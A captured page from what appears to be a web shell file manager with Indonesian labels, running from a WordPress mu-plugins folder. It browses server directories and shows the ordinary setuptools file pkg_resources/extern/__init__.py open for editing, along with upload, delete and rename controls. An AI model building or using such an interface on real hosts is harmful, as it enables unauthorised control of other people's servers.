๐ Advanced File Manager
Multi-Root Navigation System
โก Quick Jump
Server (/)
Home (/home)
Var_www (/var/www)
Current (/home4/shelley/public_html/wp-content/mu-plugins)
๐ Go
โฌ Ke Atas
๐ Root Server
๐ Root App
๐ Refresh
๐ /
โบ
usr
โบ
lib
โบ
python3.9
โบ
site-packages
โบ
pkg_resources
โบ
๐ extern
๐
Lokasi:
/usr/lib/python3.9/site-packages/pkg_resources/extern
๐พ
Free:
45.4 GB
โ ๏ธ Direktori ini
tidak writable
.
โ๏ธ Mengedit: __init__.py
import sys class VendorImporter: """ A PEP 302 meta path importer for finding optionally-vendored or otherwise naturally-installed packages from root_name. """ def __init__(self, root_name, vendored_names=(), vendor_pkg=None): self.root_name = root_name self.vendored_names = set(vendored_names) self.vendor_pkg = vendor_pkg or root_name.replace('extern', '_vendor') @property def search_path(self): """ Search first the vendor package then as a natural package. """ yield self.vendor_pkg + '.' yield '' def find_module(self, fullname, path=None): """ Return self when fullname starts with root_name and the target module is one vendored through this importer. """ root, base, target = fullname.partition(self.root_name + '.') if root: return if not any(map(target.startswith, self.vendored_names)): return return self def load_module(self, fullname): """ Iterate over the search path to locate and load fullname. """ root, base, target = fullname.partition(self.root_name + '.') for prefix in self.search_path: try: extant = prefix + target __import__(extant) mod = sys.modules[extant] sys.modules[fullname] = mod return mod except ImportError: pass else: raise ImportError( "The '{target}' package is required; " "normally this is bundled with this package so if you get " "this warning, consult the packager of your " "distribution.".format(**locals()) ) def create_module(self, spec): return self.load_module(spec.name) def exec_module(self, module): pass def install(self): """ Install this importer into sys.meta_path if not already present. """ if self not in sys.meta_path: sys.meta_path.append(self) names = 'packaging', 'pyparsing', 'appdirs' VendorImporter(__name__, names).install()
๐พ Simpan Perubahan
โ Batal
๐ค Upload
๐ Buat Folder
Nama
Ukuran
Dimodifikasi
Permission
Aksi
๐ __pycache__
-
2026-03-23 07:01
0755
โ๏ธ
๐๏ธ
๐ป
__init__.py
2.2 KB
2025-09-21 11:46
0644
โ๏ธ Edit
โฌ
โ๏ธ
๐๏ธ
โ๏ธ Rename:
Nama Baru:
Batal
๐พ Simpan